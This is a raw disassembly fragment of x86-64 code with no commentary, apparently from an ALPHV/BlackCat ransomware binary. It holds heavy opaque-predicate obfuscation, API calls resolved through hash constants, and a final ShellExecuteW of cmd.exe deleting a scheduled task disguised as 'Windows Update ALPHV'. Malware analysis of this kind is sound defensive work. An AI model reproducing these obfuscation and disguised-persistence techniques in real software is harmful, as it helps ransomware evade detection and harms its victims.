mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x1400287fb
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x1400287c0
jmp 0x140028892
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140028892
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140028892
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140028873
inc eax
jmp 0x140028875
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140028850
lea rax, [rbp - 0x58]
mov qword [rbp - 0x58], r15
lea rcx, [rbp - 0x58]
mov qword [rbp - 0x50], rax
call fcn.14002b410
lea rax, [rbp - 0x58]
xor ecx, ecx
mov qword [0x140052d40], rax
call fcn.140007e50
mov eax, dword [0x140051a20]
add eax, 0xfffffff6
cmp eax, 1
ja 0x140028edf
lea rcx, [rbp - 0x68]
call fcn.140023500
test eax, eax
je 0x140028edf
mov dword [rsp + 0x30], 0x613683
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140028955
mov ecx, dword [rsp + 0x30]
mov eax, dword [rbp - 0x68]
add eax, 2
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14002891f
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140028ad2
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14002894c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140028930
jmp 0x140028ad2
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000001
mov eax, dword [rsp + 0x30]
je 0x1400289c8
mov ecx, 2
sub ecx, dword [rbp - 0x68]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140028ad2
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400289a0
jmp 0x140028ad2
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140028a44
mov eax, dword [rbp - 0x68]
add ecx, 2
add eax, 3
imul eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x1400289f8
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140028ad2
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140028a23
dec eax
jmp 0x140028a25
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140028a3b
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x140028a00
jmp 0x140028ad2
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140028ad2
mov eax, dword [rsp + 0x30]
mov ecx, dword [rbp - 0x68]
add eax, 0xb
cdq
add ecx, 0x17
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140028ad2
nop dword [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140028ab3
inc eax
jmp 0x140028ab5
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140028a90
mov dword [rsp + 0x30], 0x613683
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140028b35
add eax, 2
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
jne 0x140028cb2
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140028b2c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140028b10
jmp 0x140028cb2
test dword [rsp + 0x30], 0x80000001
mov eax, dword [rsp + 0x30]
je 0x140028b98
add eax, 2
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140028cb2
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140028b70
jmp 0x140028cb2
test dword [rsp + 0x30], 0x80000003
je 0x140028c14
mov eax, dword [rsp + 0x30]
add eax, 2
lea eax, [rax + rax*2]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000001
jne 0x140028cb2
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140028bf3
dec eax
jmp 0x140028bf5
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140028c0b
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x140028bd0
jmp 0x140028cb2
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140028cb2
mov ecx, dword [rsp + 0x30]
mov eax, 0xb21642c9
add ecx, 0xb
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], edx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140028cb2
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140028c93
inc eax
jmp 0x140028c95
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140028c70
mov rbx, qword [rbp - 0x68]
test rbx, rbx
je 0x140028edf
nop
mov rdx, rbx
lea rcx, [rsp + 0x78]
call fcn.1400260c0
mov rdx, rax
xor ecx, ecx
call fcn.14002bfa0
cmp qword [rbx + 0x18], 8
mov r8, rbx
jb 0x140028ce4
mov r8, qword [rbx]
mov dword [rsp + 0x30], 0x613683
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140028d55
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, r8d
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140028d25
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140028ed2
nop dword [rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140028d4c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140028d30
jmp 0x140028ed2
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000001
mov eax, dword [rsp + 0x30]
je 0x140028dc8
mov ecx, 2
sub ecx, r8d
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140028ed2
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140028da0
jmp 0x140028ed2
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140028e44
add ecx, 2
lea eax, [r8 + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140028df6
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140028ed2
nop
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140028e23
dec eax
jmp 0x140028e25
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140028e3b
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x140028e00
jmp 0x140028ed2
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140028ed2
mov eax, dword [rsp + 0x30]
lea ecx, [r8 + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140028ed2
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140028eb3
inc eax
jmp 0x140028eb5
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140028e90
mov rbx, qword [rbx + 0x20]
test rbx, rbx
jne 0x140028cc0
mov eax, dword [0x140051a20]
add eax, 0xfffffff6
test eax, 0xfffffffd
jne 0x140028ef4
call fcn.14002a9e0
cmp dword [0x140052e50], r15d
je 0x140028f04
xor ecx, ecx
call fcn.14002c160
cmp dword [0x140052e00], r15d
je 0x140028fed
cmp qword [0x140052df8], r15
mov rdi, r15
jbe 0x140028fb9
mov ecx, 0x38
call fcn.14002c69c
mov edx, 0xf
xorps xmm0, xmm0
mov r8d, 0x4f2c3749
mov rbx, rax
movups xmmword [rax], xmm0
mov qword [rax + 0x10], r15
lea r9d, [rdx + 0x3d]
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov dword [rax + 0x20], 1
call fcn.1400064a0
lea rcx, [0x140052e08]
call rax
mov qword [rbx + 0x28], r15
lea rcx, [rbx + 0x28]
mov rax, qword [0x140052e38]
mov edx, 0xf
mov qword [rbx + 0x30], rax
mov r8d, 0x992c0884
mov rax, qword [0x140052e38]
lea r9d, [rdx + 0x3b]
mov qword [rax], rbx
mov qword [0x140052e38], rcx
call fcn.1400064a0
lea rcx, [0x140052e08]
call rax
inc rdi
cmp rdi, qword [0x140052df8]
jb 0x140028f21
mov rbx, qword [0x140052df0]
mov edx, 0xf
mov edi, dword [0x140052df8]
mov r8d, 0x78b61591
lea r9d, [rdx + 0x2b]
call fcn.1400064a0
mov r9d, 0xffffffff
mov r8d, 1
mov rdx, rbx
mov ecx, edi
call rax
mov dword [rsp + 0x28], r15d
lea r9, str._c_SCHTASKS.exe__Delete__TN__Windows_Update_ALPHV___F
lea r8, str.cmd.exe
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
jmp 0x14002901d
mov eax, 1
mov rcx, qword [rbp + 0x680]
xor rcx, rsp
call fcn.14002c3e0
lea r11, [rsp + 0x790]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret